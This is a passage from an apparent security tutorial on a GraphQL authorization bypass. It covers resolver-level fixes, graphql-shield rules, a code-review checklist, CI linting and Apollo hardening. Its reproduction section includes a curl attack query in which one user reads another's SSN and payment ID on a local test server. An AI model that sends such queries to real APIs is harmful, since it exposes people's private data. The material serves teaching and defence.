      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ForbiddenError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access denied&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;profiles&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findPrivateByUserId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;

    &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// Even email is scoped — admins see all, owners see own&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Not logged in&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ADMIN&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ForbiddenError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access denied&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For teams that want the check to be impossible to accidentally omit during schema growth, &lt;code&gt;graphql-shield&lt;/code&gt; applies rules as a middleware layer that wraps every resolver:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// permissions.js — graphql-shield rule tree&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;shield&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;graphql-shield&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isAuthenticated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;contextual&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isOwner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;strict&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})(&lt;/span&gt;
  &lt;span class="c1"&gt;// parent here is the User object whose field is being resolved&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;shield&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;Query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;isAuthenticated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;User&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;privateProfile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isAuthenticated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isAuthenticated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;cache: "strict"&lt;/code&gt; on &lt;code&gt;isOwner&lt;/code&gt; matters: it tells graphql-shield to re-evaluate the rule for every unique &lt;code&gt;(parent, args, context)&lt;/code&gt; combination rather than short-circuiting on a previous result from the same request. Without it, a batched query that fetches your own profile first can warm the cache and let subsequent fields for other users pass through.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reproducing the CVE Locally
&lt;/h2&gt;

&lt;p&gt;The following setup pins a deliberately vulnerable Apollo Server configuration so you can confirm the attack, apply the patch, and re-run to verify the fix. Run this in a throwaway environment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# docker-compose.yml&lt;/span&gt;
&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3.9"&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;api&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4000:4000"&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;NODE_ENV&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;development&lt;/span&gt;
      &lt;span class="na"&gt;DB_SEED&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;true"&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./src:/app/src&lt;/span&gt;  &lt;span class="c1"&gt;# mount local resolvers so hot-reload reflects your patch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# seed creates two users: alice (id=1) and bob (id=2)&lt;/span&gt;
docker compose up &lt;span class="nt"&gt;--build&lt;/span&gt;

&lt;span class="c"&gt;# Attack: authenticated as alice, read bob's privateProfile&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:4000/graphql &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;tokens/alice.jwt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c"&gt;# alice's valid JWT&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "query": "query { victimData: user(id: \"2\") { email privateProfile { ssn stripeCustomerId } } }"
  }'&lt;/span&gt; | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pre-patch, this returns Bob's SSN and Stripe ID. Post-patch, the &lt;code&gt;privateProfile&lt;/code&gt; resolver throws &lt;code&gt;ForbiddenError&lt;/code&gt; before touching the database. The &lt;code&gt;user&lt;/code&gt; query still resolves (Alice is authenticated), but the sensitive nested fields are blocked at their own resolvers.&lt;/p&gt;

&lt;p&gt;One thing to watch: if your test token is an admin token, the patched code above will still return the data because the admin branch is intentional. Use a non-privileged user token when verifying the fix, or your test will produce a false negative.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code Review Checklist for GraphQL Authz
&lt;/h2&gt;

&lt;p&gt;When reviewing a GraphQL API PR, the question isn't "is there authentication?" — it's "does every resolver that touches sensitive data verify the caller's right to that specific parent object?"&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;- // Middleware approach (REST-era thinking, doesn't protect nested resolvers)
- app.use("/graphql", authenticate, graphqlHTTP({ schema }));
&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;span class="gi"&gt;+ // Authorization inside each sensitive resolver
+ privateProfile: (parent, _, { user }) =&amp;gt; {
+   if (!user || user.id !== parent.id) throw new ForbiddenError("Access denied");
+   return db.profiles.findPrivateByUserId(parent.id);
+ }
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Specific flags to raise during review:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust boundaries per resolver.&lt;/strong&gt; Every resolver that reads or mutates data scoped to a specific user or tenant needs its own ownership or role check. A check only at the operation root is not sufficient.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alias abuse surface.&lt;/strong&gt; If the schema exposes &lt;code&gt;user(id: ID!)&lt;/code&gt;, any authenticated caller can query any user. Decide whether that's intentional. If not, remove the field or gate it behind an admin role — don't rely on clients not knowing the field exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Introspection in production.&lt;/strong&gt; Introspection enabled on a production API hands the attacker the full field map. They don't need to guess &lt;code&gt;privateProfile&lt;/code&gt; exists; the schema tells them. Apollo Server 3+ disables introspection in production by default; earlier versions don't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mutation scoping.&lt;/strong&gt; Authorization bugs in queries leak data. Authorization bugs in mutations write or delete it. The same field-level pattern applies: a &lt;code&gt;updateUser(id, data)&lt;/code&gt; mutation must verify the caller owns &lt;code&gt;id&lt;/code&gt;, not just that they're authenticated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Batched operations.&lt;/strong&gt; Apollo's batching allows an array of operations in one POST. A resolver-level check handles this correctly; a per-request middleware check may only run once for the batch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JWT claims as implicit trust.&lt;/strong&gt; A JWT payload saying &lt;code&gt;{ "role": "ADMIN" }&lt;/code&gt; is only as trustworthy as the signature verification. If the server doesn't verify the signature (or uses &lt;code&gt;alg: none&lt;/code&gt;), the entire permission model collapses. Verify claims server-side on every request; don't cache the decoded payload across requests in a way that could be shared across users.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://www.codereviewlab.com/learning/application-security-engineer" rel="noopener noreferrer"&gt;application security engineer path&lt;/a&gt; on Code Review Lab covers the full trust-boundary analysis methodology behind this kind of structured review.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detecting the Pattern in CI
&lt;/h2&gt;

&lt;p&gt;Static analysis can catch the most common form of this bug: a resolver function that never reads from &lt;code&gt;context.user&lt;/code&gt;. It won't catch all cases — a resolver that reads &lt;code&gt;context.user&lt;/code&gt; but doesn't compare it against &lt;code&gt;parent.id&lt;/code&gt; still has the ownership bug — but it eliminates the obvious omissions before they merge.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/graphql-security.yml&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GraphQL Security Lint&lt;/span&gt;

&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;graphql-lint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install dependencies&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Run graphql-eslint with auth rules&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx graphql-eslint --config .graphqlrc.yml src/**/*.graphql&lt;/span&gt;
        &lt;span class="c1"&gt;# Fails the build if any field resolver matches the no-auth pattern&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Check resolver auth coverage&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;node scripts/check-resolver-auth.js&lt;/span&gt;
        &lt;span class="c1"&gt;# Custom script: parses resolver map, flags any resolver&lt;/span&gt;
        &lt;span class="c1"&gt;# that returns sensitive types without referencing ctx.user&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// scripts/check-resolver-auth.js&lt;/span&gt;
&lt;span class="c1"&gt;// Parses resolver source with acorn, flags functions that touch&lt;/span&gt;
&lt;span class="c1"&gt;// db.profiles, db.payments, or db.pii without a ctx.user guard&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;fs&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;acorn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;acorn&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;SENSITIVE_CALLS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;findPrivateByUserId&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;findPaymentByUserId&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;findPiiByUserId&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resolverSource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;src/resolvers.js&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ast&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;acorn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resolverSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;ecmaVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Walk AST looking for CallExpression nodes whose callee&lt;/span&gt;
&lt;span class="c1"&gt;// matches SENSITIVE_CALLS without a prior MemberExpression on ctx.user&lt;/span&gt;
&lt;span class="c1"&gt;// ... domain-specific AST traversal ...&lt;/span&gt;

&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;violationsFound&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wiring this into pull request checks means a new resolver that skips the auth guard fails the build before a reviewer even sees the diff. See &lt;a href="https://www.codereviewlab.com/learning/ci-cd-pipeline-security" rel="noopener noreferrer"&gt;how to secure your CI/CD pipeline&lt;/a&gt; for the broader pattern of making security checks load-bearing in the build process rather than advisory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening Beyond the Patch
&lt;/h2&gt;

&lt;p&gt;Field-level auth fixes the specific bypass. These controls reduce the blast radius when the next one surfaces.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Persisted queries&lt;/strong&gt; restrict the server to a pre-approved set of operations. An attacker can't construct an arbitrary aliased query if the server only executes queries you shipped. This doesn't replace authorization — a persisted query can still have an authz bug — but it eliminates the exploration phase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Depth and complexity limits&lt;/strong&gt; prevent deeply nested queries from being used to amplify data extraction or trigger DoS through resolver fan-out. Apollo Server provides both natively.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// apollo-server.js — defense-in-depth config&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ApolloServer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@apollo/server&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;depthLimit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;graphql-depth-limit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createComplexityLimitRule&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;graphql-validation-complexity&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ApolloServer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="nx"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;validationRules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nf"&gt;depthLimit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;                              &lt;span class="c1"&gt;// reject queries nested deeper than 7 levels&lt;/span&gt;
